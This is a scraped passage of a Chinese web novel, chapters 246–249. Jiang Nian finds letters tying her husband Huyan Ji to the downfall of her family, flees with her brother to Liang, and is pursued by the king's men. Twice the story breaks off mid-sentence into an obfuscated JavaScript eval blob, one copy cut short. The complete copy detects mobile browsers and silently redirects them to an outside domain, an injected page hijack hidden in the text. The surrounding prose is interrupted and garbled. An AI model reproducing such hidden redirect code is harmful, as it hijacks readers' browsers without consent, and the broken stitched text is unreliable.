江念把孩子放到毡毯上,任他玩耍,然后转身看向呼延吉:“你不提我都忘了这一茬,先前说好的,等我生之前你赶回来,结果生朔儿时,我差点就那么撒手去了,你是不知那会儿多凶险,若是不信,去问一问阿多图,他比你清楚。” 呼延吉一噎,脸上讪讪的,他真没往生孩子还能要命这方面去想。 “好,好,那不生了,有朔儿就够了,反正是个小子,以后王位也算后继有人。”呼延吉说道。 江念见他那样,噗嗤一笑:“也不是不能要,等朔儿再大一点。” 这会儿倒轮到呼延吉迟疑,他想和江念再生,那也是因为想和她有多个孩子,特别是女儿,一个长得像她一样漂亮的女儿,他一定会把他们的女儿宠上天。 可若生育子嗣使她危殆,他是绝不愿意的。 此事不过两人闲暇时的漫谈,因着孩子的一声啼哭,也就岔开了,两人去看,原是孩子磕碰到了桌角。 因着小王子一岁生辰,不止京都,整个夷越上至达官显贵下至平民百姓,都沉于欢乐中,在小王子生辰当天,各地官廨于街市备了流水席面,随来随吃,随吃随走。 街市张结彩灯,还有许多杂耍衬托这一喜事,以至于还未到生辰那一日,已是热闹不已。 迎接喜事比喜事当天更叫人开心。 …… 王庭大门处值守的亲卫都觉着奇怪,这几日头儿一日不卯地到他们这里,一待就是一整天,搞得他们精神紧绷,不敢有半刻的松散。 这会儿趁着他转去别处,几人私议。 其中一个圆脸亲卫问道:“从前不见头儿来的勤,这几日怎的一来王庭大门就不走了?” 另一人说道:“你到这里当值时日短,还不清楚。” “清楚什么?” “定是又有什么重要人物来,不然他一个亲卫首领干嘛守在这里?” 圆脸亲卫又问:“会是什么重要人物来?” 正说着,前面行来一队人马,有七八人的样子,俱是梁人。 亲卫兵立马止住话头,戒备持戟,喝道:“止步,此乃王庭,尔等不可进入。” 此时一名仆从扮相的人翻身下马,走上前:“我们来找人。” 亲卫们相互看了一眼,觉着好笑:“你们这些梁人是不是听不懂话。”说着指了指身后,“这是王庭,不是酒楼,你们要找人,到街市找去。” 那仆从也不恼,而是转身走到身 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“梁什么梁,梁妃姓江!”那人抢说道,此时,众人再看这群梁国人的眼神就变了,语气也缓和下来,对着仆从道,“我们这就往里通报,还请稍候片刻。” 仆从礼貌应下,回到江轲身边报知。 江轲点了点头,不过一会儿,阿多图赶了过来。 呼延吉和江念去徽城时,阿多图随侍在侧,和江轲打过交道。 江轲见了阿多图,翻身下马,两人厮见过,叙了礼。 “大王知道将军这几日到,叫臣在此静候,适才有事离了一会儿,失礼了。”阿多图对江轲并不奉承,是以,大王的椒房之亲他也不称呼国舅,只以他的职称呼之。 江轲将马绳甩给仆从,说道:“大人言重,王庭乃天家重地,当是如此,何敢劳烦阿多图大人远接,某当不得。” 二人说着,往王庭走去,已有宫侍往里通传。 江念听说江轲已至,便带着人于西殿的殿院前盼候着。 江轲进了王庭没有径直入西殿见江念,而是去了前廷,先见过呼延吉。 呼延吉在江轲身上打量一番,比之上次又有不同,说道:“李恒肯放你来夷越?” 江轲执起茶杯,喝下,又从呼延吉手里抢过茶壶,给自己倒了一盏:“我口渴得厉害,你叫我先喝饱了再说话。” 呼延吉拈了几块冰置于他的宽口盏里。 “你们夷越的气候这样热,怪道这里的男男女女肤色深,衣着坦胸露背。”江轲饮下一口冰茶,舒爽了。 “你别一口一个你们夷越,你们夷越的,如今阿姐也是半个夷越人,你的甥儿更是日后的夷越君王,就是你……同夷越不也沾亲带故么。” 江轲拿盏的手一顿,沉了一瞬,叹了一声“是”。 两人又说了些许话,呼延吉让人引江轲去西殿,他手上还有政务未完,并不同去。 正好他姐弟二人也可阔叙别离。 江轲沿路边走边看,终于到了西殿,江念早已在殿前等候多时…… 第246章 不共戴天的仇人 江轲见他阿姐肌肤微丰,容态温柔,比之从前又有些不一样了,瞧得出来,呼延吉将她娇养得很好。 姐弟二人阔叙寒温。 江念带着江轲去了祥云殿,先拜见了圣太后,从祥云殿出来后,一众人回了西殿。 西殿的宫婢们早就听闻梁妃的阿弟要来,都想见一见这位小国舅,端见他一身玄色劲袍,越发束得宽肩窄腰,瑶林琼树。 同夷越儿郎的生野不同,这位小国舅有一种说不出的温谦之态,这种感觉源自他的样貌,实际可能他的脾性并不如他面上看起来那么的恭让。 “我叫人清出侧殿,一应床帐铺陈都是新的,远驾而来,你今夜好好休息。”江念说道。 “我不累,阿姐把朔儿抱来我看看才是要紧。”江轲坐于外殿的矮案边。 这时,达娃和帕依两姐妹端了果盘并冰饮子来,搁于桌上。 夷越宫装领口开得阔大,达娃身形较丰,江轲无意瞥见那膨隆的胸乳,烫得眼睛一缩,赶紧移开。 殿中其他宫婢们见了,捂嘴儿偷笑。 江念叫秋月将小王子抱了来。 呼延朔如今已满一岁,长得有模有样,本是睡着的,突然被人抱起,吵了瞌睡便不开心,见了江轲也是嘟着脸,紧着两条淡褐的眉。 “哟,怎么气鼓鼓的?”江轲将小人儿抱坐到自己面前。 呼延朔不认得此人,看着面生,便扭着壮胖的身子往外挣。 “娘娘——”小儿探出肉乎乎的胳膊,想要江念抱他。 江轲把他拉回,戏说道:“你还让你娘抱,看看你肥成什么样?别把我姐累着了。” 呼延朔虽听不懂,可简单的几个字眼还是懂的,比如这个“肥”字,于是蹙着眉头把江轲瞪视着。 别看他小模小样的,可眉目间隐现威容,蹙眉沉眼的样子跟呼延吉简直一模一样。 江轲忍不住,捏了捏他的脸:“叫舅舅。” 呼延朔哪管这些,非要挣脱江轲的圈锢,小小的人儿,力气却蛮得很。 江念敛好衣裙,笑坐到江轲身边:“朔儿,这是舅舅。” 呼延朔见自己母亲坐在一侧,这才安静。 江轲陪他玩了一会儿,渐渐熟了。 “怎么这小子没一点托咱们江家的代,你看他这头发,这眼珠子。” 江念看了看,微笑道:“这样也好。” 江轲点了点头,是啊,长得像夷越人也好,以后这国家都是他的。 看着眼前的一大一小玩闹,江念问道:“一切都好罢?” “都好,你先前的贴身丫头,秋水,我把她找回来了,府里还是同从前一样,你的那间院子我留着,不曾变过,让人看护着,待你几时回来,能直接住人。” 说到这里,两人都静了一会儿,没再说话,早已物是人非,他们的家还在,父母却不在了。 “梁帝呢?”江念终于问道。 江轲呆了呆,知道她说的是李旭,说道:“幽囚起来了。” 江念看向江轲,一口气堵在胸口,声音冷沉下来:“为什么不杀他?轲儿,你为何不杀他?!” 那人灭她全族,她恨不能噬其血肉。 “阿姐……太子留他还有用处。” 呼延朔似是感到母亲的异样,扑到她怀里,秋着她的脖,埋在她的颈间。 江念平了平心绪,重新调整好面容,缓声道:“你在信上说有一件极为关要之事同我说,是什么事?” 江轲看了一眼江念怀里的小儿,眸光有一瞬的忽闪,转而笑道:“你乍然一问,我倒是忘了,待我想起来再说。” 小王子生辰这日,整个夷越分外热闹欢庆。 王庭的御园中玉案宝席,珍馐罗列,金汤泛盏,瑶曲悠扬,规模盛大隆重。 朝臣们纷纷携同家眷前来奉贺。 席间,江念让乳母抱着孩子,因她衣衫上沾了酒渍,在宫婢的环伺下去后殿更换衣物。 几名宫人在前面提灯引路,园中的热闹之音渐渐远离。 江念本是喝了些酒,被清凉的夜风一吹,头脑清明了许多,刚走到殿门前,一个声音叫住她,回头一看,树影下有一人,一半身形于幽光中,一半掩于暗影下,正是江轲。 “你几时离的席,怎么在这里?” 江轲看了一眼她身后的宫婢,说道:“阿姐,咱们去附近的亭轩坐一坐?” 江念在江轲脸上望了望,知道他有话说,点了点头,对身后的宫人们说道:“你们就在这里候着。” 宫人们应下。 两人走向不远处的湖亭,亭栏挂着几盏喜庆的灯笼,亭四周全是水,是一处安静所在。 “怎么了,是不是有事同我说?”江念问道。 江轲再次顾盼四围,确认只他二人后,从怀里掏出一沓书信,递给江念。 “阿姐自己看。” 江念疑惑地接过书信,先在手里翻转看了看,封套上没有任何字样,然后将封套内的信笺抽出,展开,就着昏暗的光凝目看去。 不知信上写了什么,江念的脸色越来越难看,手也跟着颤抖起来。 一阵风吹来,将灯笼吹得摆荡,黄黄的光在她脸上明灭交替。 “阿姐,他是我们江家不共戴天的仇人,你还要同他一起么?”江轲腔子发沉。 江念手脚生乱,开始拆第二封信,珠目震颤地看去,手指有些不听使唤。 她的声音也在发颤,说出来的话连她自己都听不清,像是隔着水传来:“一定是别人冒充他的笔迹。” 江轲双手把江念的胳膊紧紧攥住,盯着她的眼:“阿姐,这些书信是李旭拿出来的!谁能冒充?李旭能坐上帝位就是因为呼延吉,是他在背后操控,让太子殿下没能登上帝位。” 江轲恨恨道:“此二人朋比为奸,这信上虽未道明,却能料定,定是李旭登极,然后应呼延吉的要求抄检江家,否则为何太子门下其他人皆安然无事,唯我江家遭难。” 信笺在江念手里皱巴,那指因过度用力,甲盖发白。 “为什么……” “若太子继承帝位,那么大梁将成为他呼延吉最大的敌手,他在梁为质多年,太了解我们了,他就是一头养不熟的狼,他要兴盛夷越,必须除掉太子。”江轲看向江念,继续道,“而且……他想得到你,若太子为帝,他根本不可能接近你,只有我们 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江念这会儿心里很杂乱,没办法思考更多的事,悦耳的管弦之音随着湖风悠扬传来,她突然觉着既讽刺又割离,这庞大的欢乐不属于她,也没什么可乐的,她成了大喜日子里旁观的外人。 他一手操控,他们江家亦在他的算计中。 “你不要冲动,这个事情我会亲自问他。” 江轲冷笑道:“阿姐要怎么问,你如今是他妻子,是他儿子的母亲,他使了多少手段才得到你,阿姐以为他会认?阿姐到底是想弄清真相,还是想从他嘴里听一个假话,然后骗自己,好让自己心安理得地同他生活在一起?” 江念听不得江轲这样阴阳怪气,呵斥道:“到底你是阿姐还是我是阿姐?” 江轲只好息下声气,老实回道:“你是阿姐。” “你放心,我知道该怎么做,但你不要乱来,这里是王庭,我不想看见你有事。”也不想看见呼延吉有事,后一句江念没有道出。 江轲点了点头。 江念想了想,又问:“你从李旭嘴里可有探得什么?” “他曾为帝,并不将我放在眼里,我问他什么他都不说。” 江念便不再问了。 生辰筵宴散后,呼延吉回了西殿,就见江念坐在那里,手里拿着几封书信翻看。 “看什么呢?” 江念并不答言,呼延吉也没多想,叫宫婢进来替他宽衣,然后就要去沐室,不想江念的声音从后传来。 “醉了么?” 呼延吉转过身,笑了笑:“这点酒怎能醉人。” “朔儿呢?” “乳母抱去偏殿了。” 江念把信折起:“大王可否缓会儿再沐身,妾身有事想问王。” 呼延吉走了过来,身上带着浓浓的酒气,坐到江念身边。 “阿姐想问什么?” “今日轲儿告诉我一件事情。” “指定又在你面前告我的状。”呼延吉一脸无奈。 江念笑了笑:“非也,他告诉我一件事。” “何事,说来听听。”呼延吉给自己倒了一杯花茶,往嘴里送去。 “轲儿同我说的是前梁帝,李旭……” 呼延吉拿杯的手一顿,状作随意地问道:“李旭怎么了?” 第247章 是不是你? 他这一点细微的异常没能逃过她的眼睛。 呼延吉见江念看着自己,表情有些耐人寻味,于是问道:“怎么说话只说半截,李旭怎么了?” 江念倏忽一笑:“李旭**。” 呼延吉绷紧的额腮松缓下来:“这不正合你意么,他让你江家倾覆,如今也算罪有应得,日后你的心结可放下了。” “可是妾身想不通,大王可否告诉妾身,梁帝当初为何要立庸碌的三皇子,太子明明那样贤明,不说太子,就是二皇子也是精干,怎么立了一个众人不看好的三皇子呢?”江念说着,靠向呼延吉,又道,“这帝王家的事,大王比妾身明白,可否为妾身解惑?” 呼延吉摇了摇头:“梁国之事我哪里清楚,想是天命如此。” “真是天命?大王不要哄我。” 男人似是不愿在这件事上多说,显得有些烦躁:“不是天命是什么,今日朔儿生辰喜日,你怎的一直追问这个,梁国老皇帝怎么想的,我又怎会知道?还是说阿姐对李恒余情未了,想为他讨个公道?” 说罢起身,往外走去,江念的声音从后响起,伴着信纸脆响。 “皇帝久怀忌惮太子之心,太子乃天命之人的传言已散出,此为扳倒太子的千载难逢之机……” 江念手执书信,择出其中一段念出,呼延吉身子猛地一震,转身看向江念。 “是你写的罢?” 这件事,江念有印象,当年梁国下了一场暴雨,那雨接连下了几日,湖水泛涨,待水势褪去,岸沿突然多了一块玄武石,玄武背部驮着一石碑。 石碑上写着一行字: 皇天恒帝,降命于兹,顺之者昌,逆之者殃! 再之后市井开始通传,这是老天想让太子李恒早些继位,承统大梁,不过江念记得此事闹过一阵就过去了,并没影响到李恒。 如今看来,却并非如此,先帝一直将此事埋记于心,只是不发而已。 先帝忌惮太子,虽为父子,但帝王心术之下,太子日益增长的声望与仁德之名令他寝食难安。 呼延吉一步一步走到江念面前,盘腿坐下,从她手里拿过书信,不屑地扫了一眼:“不错,是我写的,是我写给李旭的。” 江念见他面色阴沉,语气生硬,强力使自己保持冷静:“所以,李旭能登顶帝位,有你在背后出谋划策?” “是。”呼延吉并不否认。 江念深深吸了一口气,有些不敢再往下问,可一想到她江家族人那么多条人命,若是不弄清楚,日后只怕再也没有安稳觉可睡。 她也不配存活于世。 “我再问你,我江家抄家一事,你有没有……” 呼延吉并未正面回答,而是讥声反问:“所以你是这么看我的?” 江念望着他,盯着他,事关她全族,她需要一个答案,一个叫让安心的回答,今夜,她在给他机会,也在给自己机会。 呼延吉站起身,两眼向下睨着:“你问出这句话时心里就已然认定了,无论我说什么,意义何在?” 说罢,甩袖离开。 江念没有太多的情绪波动,眨了眨眼发酸的眼,安静地把手里的信收好,放入匣子内。 …… 照往常一样,宫婢们将更换的衣衫用木盘呈于沐室的案石上,然后退下。 呼延吉褪除衣衫,入到池中,热水把他身上的酒息冲淡,他整个人浸入水里,好半晌才出水。 当年,太子被废黜,遗诏立李旭为帝,确实有他在背后助力,但仅此而己。 老皇帝是个心胸极为狭窄且多疑之人,把他的皇位看得比什么都重,太子李恒错就错在太过优秀。 皇帝怎么可能容得下他,后来闹出“皇天恒帝”的谣言,也是他让人做的,包括市井的谣言也是他让人散布的。 老皇帝当时不说什么,可心里却记上了。 太子仁德,百姓拥戴,二皇子精干明决,最后老皇帝却选了憨拙的三皇子,这也符合他的行事。 他不是没想过,三皇子登基后会清除异党,不过他并不担心江家受牵累,只因江太傅不仅是太子之师,亦曾是三皇子的老师。 有这一层师生情谊,三皇子动谁也不会动江家。 然而,他万万没料到,结果同他料想的背道而驰,老太傅一死,江家便成了三皇子的眼中盯。 呼延吉抹了一把脸上的水珠,他其实有些气恼,气她不信任他,语气便有些生硬,脑中蓦地闪过江念刚才的神情,心里一慌,出水上岸,草草将水渍拭干,扬起绢衫往身上一披,一面往外走一面系带。 阔步云飞地进了寝屋,却不见江念的人,于是出了寝屋,问一旁的宫人。 “梁妃人呢?” 宫人回道:“梁妃殿下去了侧殿,说是去看小王子了。” 呼延吉撩衣拔步,往侧殿急去,到了侧殿,就见江念正同乳母交代着什么,悬起的心这才落定。 江念听到动静,扭头看向身后,就见呼延吉散着一头微鬈的湿发,身上只着一件雪青色长衫,交阔着衣领,赤坦的胸脯挂着水渍,长衫下,赤足,衣摆间隐现一双颀长的双腿。 “大王这是……” “没什么,我过来看看朔儿。”呼延吉说着,蜜色的肌底晕出可疑的红,像是烧热的铁。 江念也不戳破他,走到他身侧,然后眼珠往下落到他的赤足上:“记得妾身才来王庭那会儿,大王责我跣足而行不成体统呢,怎么这会儿自己倒惹人话说。” 呼延吉笑了笑,说道:“我那是怕渣滓划伤你的脚。” 江念摇了摇头,让宫婢拿来一双软底鞋给他换上。 两人这才往西殿行去。 夜里,两人各自掩着心事,背对而卧,却都睡不着,中间隔着一条说近不近,说远不远的道,这是从来没有过的,就这么,各自冷着过了一夜,次日,江念听到身边的响动,然后那响动出了殿门。 江轲找上呼延吉,两人都没好脸给彼此。 “那信是你交给阿姐的?”呼延吉问道。 “是,你既然做下,难道还怕人揭穿?” 江轲恨极了眼前之人,他把他当兄弟,却不想他害得自己家破人亡,就算没有直接原因,也有间接原因,不论是哪一种,江轲都没法原谅呼延吉。 呼延吉冷嗤一声:“只是你不要在阿姐面前搬弄是非,坏我同她的感情。” 江轲看了呼延吉几息,忽然笑起来:“你 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她是梁妃的贴身侍婢,梁妃的异样没人比她更清楚,梁妃在大王面前笑着说话,温和地回应,同以前没两样,可大王一旦离开,殿下便一人坐着发呆,好像笑言笑语不过是在强撑。 这日,大王去了前廷朝会,宫人来传,梁妃殿下唤她和乳母前去。 “小王子呢?”江念问道。 “还睡着没醒呢,要婢子抱他来么?” “不必了。”江念停了一会儿,说道:“你们把小王子照顾好,他若哭闹了,你们多一些耐心,我是信你们二人的。” 秋月同乳母应下。 江念叫乳母先去,留下秋月,另有事吩咐。 “你叫人备一辆马车到殿外,我需得出去一趟。” 秋月追问道:“主子要去哪里,怎么不带上婢子?” 江念拍了拍她的手:“朔儿之前染了疟疾,我曾祈愿,若是他平平安安长到一岁,便微行去寺庙诚心还愿,他如今年岁还小,不便带出王庭,所以我把你留下,有你在他身边,我也放心些,等日落时分我就回了。” 秋月点了点头,这才露出笑来:“殿下说的是,只是要不要多带些人随行?” “不必了,既是微行,就不必兴师动众,诚心为要,去罢。” 秋月还想说什么,可在江念的目光下,终是没有再言语,应了一声,走到殿外安排车马。 不一会儿,车马安排停当,秋月搀扶江念上了马车,宫人打起车帘,在江念俯身进去之际,秋月扯出一丝笑,眼眶有一点发红:“主子,要不带上婢子罢?” 江念顿了顿,没再说话,径入到车内,车帘放下,马车启行,朝着王庭大门行去。 马车出了王庭后,并没有出城去寺庙,而是停在一家酒肆前。 随行的两个宫婢落下凳,打起车帘,扶江念下车。 “你们在这里候着,没有我的传唤,不要进来扰我。”江念说道。 宫婢应下,随着马车在酒肆外面等候。 江念进了酒肆,在店伙计的引领中上了二楼,停在一扇房门前,叩响…… 第248章 逃离 房门打开,门内立着一人,正是离去多日的江轲,那日出了王庭,他叫随行之人先走,自己却留了下来。 江轲侧身让江念进屋。 “阿姐想好了?” 江念点头道:“不必多言,我要亲身见一见李旭。” 李旭为何对江家下手,这里面到底是呼延吉的意思,还是李旭个人原因,亦或是其他人撺掇,她必须弄清楚,那一晚的试探,让她对呼延吉不能信任,正如江轲所言,操刀之手,焉肯自供? 他瞒她瞒得好深,若不是她拿出书信,他仍不会承认,只怕会瞒一辈子,他的这番作态叫她怎么能信。 江家被灭同他无关还罢,若真是他的意思,那么他出于心虚,绝不会放她离开,更不会让她向李旭探问真相。 这事不浮出水面,她还能稀里糊涂地过下去,然而,现在情况大变,她不可能同一个灭她全族的男人共度余生。 她的父亲,那样谦和清正之人,不时还有点小幽默,平日最大的爱好就是关在书房画他的花儿。 她的母亲,从不迫她做不喜之事,那些什么《内训》,还有规诫女子的书籍,也从不迫她看。 母亲怕她被这些书灭了鲜活劲,愚弱没脾气,情愿她劣性一些。 有一次,母亲气父亲少陪她,只顾画花儿,便坐在父亲书房的院里悠叹:“想当初妾身也是京都一枝花,嗳!定是枯萎了,这才叫人嫌弃。” 父亲便搁笔,笑着步出书房。 “为夫爱画花,自然不能错过夫人这朵。” 然后她就见母亲红着脸,随父亲进了书房。 后来,在父亲满是繁花的墙上多了一幅画,画中一女子,盘着云云发髻,娴静雍容,嘴角勾起一抹浅笑。 抄家那日,父亲屋里所有的画都毁了,也包括母亲的那一副。 江念抽回神思,同江轲从酒肆侧门而出。 门外停着两匹马,两人翻身上马,江轲递了一个帷帽给江念,江念接过戴于头上,遮住面部,然后齐齐往城门行去。 因着小王子生辰,这段时日进出城门的人格外庞杂,城门卫受了上面交代,过往行人必须严格查验。 江念同江轲被拦了下来。 “头纱揭起。”城门卫命令道。 江念揭起帷纱,那城门卫在看到江念面容时,先是一怔,接着一惊,那晚在城头他是见过梁妃的,当下就要跪拜,却**念止住。 “本殿微行,莫要伸张。” 城门卫连连应是,赶紧侧过身,把道让了出来。 江念手挽缰绳,一声驾呵,飞马而去,渐渐的,人影越来越小。 …… 考举人才之制推行下去,通晓各地方,民间百姓听闻这个消息,尤其那些蓬户子弟,无不鼓舞振奋。 这边,呼延吉散了朝会,又召集几名朝臣问询相商,然后再处理公文。 待回到西殿时,已是午后。 呼延吉进了西殿,没见到江念,以为她带孩子去了御园或是别的地方。 这几天一直未下雨,天气太过闷热,他进了殿内仍觉着热,便让宫人再运些冰置于殿中。 宫婢上前替他除了外衫,端来凉饮。 呼延吉刚执起杯盏,听到院外孩子的笑声,循声走到殿首,就见宫婢抱着孩子从殿院外走来。 小儿手里拿着一根孔雀羽。 呼延吉见他笑得开心,也无声地笑了,啜了一口手里的凉饮,然后转身回到殿内。 才走没几步,蓦地顿住脚,再转身,正巧那名叫秋月的宫婢带孩子走了进来。 “你主子呢?”呼延吉问道。 秋月上前回道:“主子说她去城外的寺庙还愿,待日落时分就回。” 呼延吉又道:“她去寺庙,你怎么没陪同一道?” “殿下让我看顾小王子。”秋月回道。 “可有带护卫?” “带了两个宫婢,不曾叫护卫随行……”秋月说着说着,声音低了下去。 “是么?” 头顶的声音平平传来,此时宫人们运来许多冰块,不知是这些冰的作用,还是心底的惧意,秋月浑身一激灵,额上冒汗,她尽量使自己镇定。 “殿下说,小王子得疟疾时,曾祈愿小王子平平安安长满一岁,为表诚心去寺庙还愿。” 秋月感到上首压人的目光,她的身子越来越矮。 “只带了两个宫婢,连护卫也无,你便放心她出王庭。”呼延吉冷声道,“她若无事还好,若是有事,你别活了。” 秋月身子晃了晃,她知道江念不会回了,所以她的这条命可能在今天也到头了。 木雅突然走了过来,在呼延吉耳边低语几句。 “把人带进来。” 木雅转身而去,不一会儿带了人来,是随江念一同离去的两个宫婢。 那两个宫婢低头缩肩一进来,身子就软跪下去,声音透着惊惧:“大王,梁妃殿下不见了。” 她们在酒肆外等候,结果等了半日,仍不见梁妃从酒肆出来,便进店问询,店伙计指了指二楼的一间房,她们便上了楼,先是敲门,无人回应,再推开房门,那房里哪还有人。 呼延吉听罢,回想连日来的种种,突然一声冷笑,再看秋月,说了一句:“她倒是为你着想,怕牵累,把你留下来。”然后朝外吩咐,“押她下去。” 立时进来几名亲卫,押了秋月下到牢里。 不知是不是周围的氛围太沉抑,乳母怀里的呼延朔哇的哭出声。 呼延吉斜瞥了一眼,不作理会,同之前完全两样,接着又传唤一众相关人,包括酒肆的伙计,还有城门卫。 审过后,就听呼延吉冷声道:“召阿多图。” 宫人立马传话下去,不过一会儿,阿多图到了西殿,立于殿院中并不入内,等召他进入,才敢进殿。 一进殿中,明显感到空气重了几分,刚立定还不及行礼,便听君王的声音传来:“即刻带人分多路追捕江家姐弟。” 阿多图先是一怔,接着应下,正待转身离开,呼延吉再次将他叫住,腔音不带一点起伏:“就地斩杀江轲,梁妃带回,另外… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没人知道,在她看到那些手书之后的几日,是怎么面对呼延吉的,她像要被撕裂一般,一半边告诉自己,相信他,抄家不关他的事,一半边告诉自己,他是个为达目的不择手段之人。 江念侧头看了一眼江轲:“趁雨前行,待雨停后,路面泥泞容易被发现踪迹。” 江轲不再言语。 两人就这么冒雨前行。 这雨一下就不停,好像老天爷也在帮她,助她归梁。 行到夜里,光线不明再加上路面湿滑,两人寻了一处废弃的木屋,生了些火,围坐暂歇。 篝火下,江念同江轲近到火边,用热气烘烤头身。 江轲斜觑向自己的阿姐,见她一张脸在火光下照着,可神情却分外冷凝,哪还有迎见他时幸福满足的意态。 他有些不确定自己这样做对不对,把她拉进仇恨中,她本可以同呼延吉一直幸福下去,他们都有孩子了,他却生生将他一家人拆散…… …… 阿多图带人兵分多路,却无法探测踪迹,此时一行人停了下来。 “大人,这条路不好走,路面已寻不出什么,不过属下观那杂丛像是新压过,应是有人通行。” 阿多图点头,褪下湿透的外衫掷于野地,只着一件无臂单衣,一招手,带人往那条小路飞马而去…… 第249章 恩情绝,不复见 屋外雨势变小,江念起身,走到窗边往外看了一眼,转头对江轲说道:“走罢,不能再耽搁了,不然会被追上。” 江轲两条胳膊搭在屈起的膝上,低垂着头,默了一会儿,抬起脸:“阿姐,对不起……” 江念叹了一口气,知道他在懊丧什么,走到他身边,屈指在他额心敲了三下,如同儿时一样。 “对不起什么,别忘了我也姓江,江家的事也是我的事,轲儿,你记着,你不是孤零零一人,你还有我这么个家人,父母不在了,还有阿姐在。” 江轲一手捂住脸,鼻塞声重地“唔”了一声,然后拿胳膊在脸上擦拭,站起身。 一路行来一直有个问题在她脑中盘桓,再次问出:“李旭被囚后,你当真没从他嘴里问出什么?他既然已拿出了书信,为何又闭口不言?” 江轲摇了摇头:“阿姐,轲儿不会骗你,陛下当时把这些书信给了我,我求到陛下面前,想要见李旭,陛下同意了,可我见到他后,什么也问不出来,因他的身份,又不能施以重手,你去看了就知道,很难讲清。” “走罢。”江念只想尽快赶回大梁。 两人刚走到木屋前,听到远处传来马蹄压踏伴着泥水飞溅之声,江轲赶紧把篝火扑灭,然而已来不及,马蹄之声朝他们这边行来,不过几息,就到了门前。 阿多图看向屋里的姐弟二人,给手下睇了眼色,立马上前十来人抽出腰刀,把他二人围住。 阿多图朝江念行过礼,说道:“还请殿下随臣回王庭。” 江轲抽出佩剑,护在江念身前。 江念见形势不对,挥手让江轲退到一边,说道:“阿多图大人这是打算让我姐弟二人见血了?” “不敢伤梁妃殿下,但江轲必须死。”阿多图说道。 江念把眼一眯,问道:“王命?”问完不等回答,轻笑一声,若不是王命,阿多图万不会说这样的话,于是又道,“大王给你下这样的命令,阿多图大人能完成否?” 阿多图低下眼,再次抬起:“不能。” 大王给他下令,就地斩杀江轲,谁都知道这条王令不可能完全,他清楚,眼前的梁妃清楚,就连大王自己也清楚。 不然大王也不会让他带上“那人”。 “阿多图大人既然知道完不成王命,又何必苦追而来,我阿弟若有事,我岂能有好?你们若要取他性命,我必死在他前面,还是说……你们想带回我的尸首。” 阿多图默然不语。 江念又道:“我知王命难违,也知大人难做,若不能将我带回,大人必会受责。” “殿下既然知晓,还请随我等回王庭。” “然后看着你们取我阿弟性命?”江念缓缓说道。 “殿下当真不愿回王庭?哪怕不看大王的面,也不顾小王子么?” “有件事情我需弄清楚,待我弄清自会回去请罪,届时由君王责罚,绝无怨言。”江念说道。 阿多图又看了一眼江念身后的江轲,说道:“小将军来夷越,大王哪次不是将您奉为上宾,尽心款待,您就这样回应的?还是小将军真当他好性儿?恕我直言,小将军肆意的态度,不免让我联想大王在梁为质时,小将军是否在我王面前逞意惯了,认为他会尽让着你。” 江轲面色一白,不能答。 阿多图再次看向江念,平声问道:“微臣不得不再问一次,殿下不愿随臣回王庭是么?” 江念稍稍把脸扬起。 “既然梁妃殿下不愿同我等回去,大王叫我带了一人,送还梁妃。”说着阿多图对手下人吩咐,“带人过来。” 江念向门外看去,就见一个浑身湿透的女子走了进来。 女人合中身材,头挽碎花布巾,一身靛蓝粗麻衣,不是别人,正是与她一同流放,后来在司药局做事的云娘。 “王说了,梁妃既然想回大梁,就把你们梁国人带走,他不想在王庭再见到任何一个梁人,从此以后,分钗断带恩情绝,云水殊途再不见。” 江念听罢,脸色变得十分难看。 阿多图不再逗留,带人离开。 江轲没料到呼延吉决绝至此,心里懊丧:“阿姐……” “我无事。”江念扯出一丝笑,只是这笑很牵强无力,继而转头看向云娘,“云姐姐,牵累你了。” 云娘摆了摆手,声音清亮:“还跟我说这些,我这人在哪儿都能过得好,在哪儿都能活,回大梁就回大梁,终于能归家了。” 江念本是低落败丧的心,在这一嗓子下提了提劲儿。 “好,回大梁!”江念说道。 三人在木屋休整一夜,把衣服烤干,次日一早,天还未亮,江念一骑,云娘因不会骑马,同江轲一骑,往大梁行去。 星夜赶路,没怎么休息,到了梁境后,江念一行人找了一家客栈歇脚,又买了几件更换的成衣。 稍稍又歇了一个日夜,再次马不停蹄地往大梁京都出发,十几日后,终于抵达梁国都城。 江念看着眼前的大梁京都,有一瞬的错觉,好像父母正在家中,等她回去。 谁知刚进城门,就有一群人围簇上来。 江念看着这些人的装束,俱是皇宫的侍人。 “在客栈歇脚时,我写了书信送往京都。”江轲怕江念多想,解释道,“陛下说若阿姐随我归来,让我写信与他,提前叫他知晓。” 江念眉尖微蹙,心底升起一丝不快,让云娘先回江府,她同江轲去了皇宫。 入了梁国皇宫,宫人引着江念同江轲去了东宁殿,到了东宁殿,宫人上前引坐,看了茶水,然后退下。 江念扫了一眼殿周,然后收回眼,茶水也未碰只是端坐着。 这时,从外传来一道和润的男声:“念儿。” 江念听到这声音,抬眼看去,来人风姿清雅,一身玉色如意纹交襟大袖常服,腰系革带,脚踏玄色长靴,在宫人们的随侍下进入殿内。 江念起身,却并不同从前一样朝他行礼,只是微微颔首笑了笑:“阿兄。” 江轲行礼道:“叩见陛下”。 李恒走到江念面前,又看了一眼江轲:“轲儿起身,不必多礼。” “这小子说要去夷越,我料想他会同你说江家之事,便嘱咐于他,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789564|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你随他回,到了梁境给我送一封信,好叫我知晓,免得心里惦记。” “有劳阿兄关心。”江念回道。 江念说完,对面静了一会儿,接着说道:“变了却又没变。” 江轲从旁问道:“什么变了,什么没变?” “你阿姐,模样没怎么变,可这性子瞧着倒是温和柔顺了。”李恒笑说道。 江念看向李恒,见他正看着自己,眼中带着笑意,于是说道:“阿兄也变了。” 李恒起了兴,问道:“我也变了?” 江念点了点头:“阿兄变老了。” 此言一出,殿中宫人们俱呼吸一窒,这位娘子怎敢同陛下如此言语。 李恒也是一怔,接着就听江念问道:“阿兄,我变了么?” 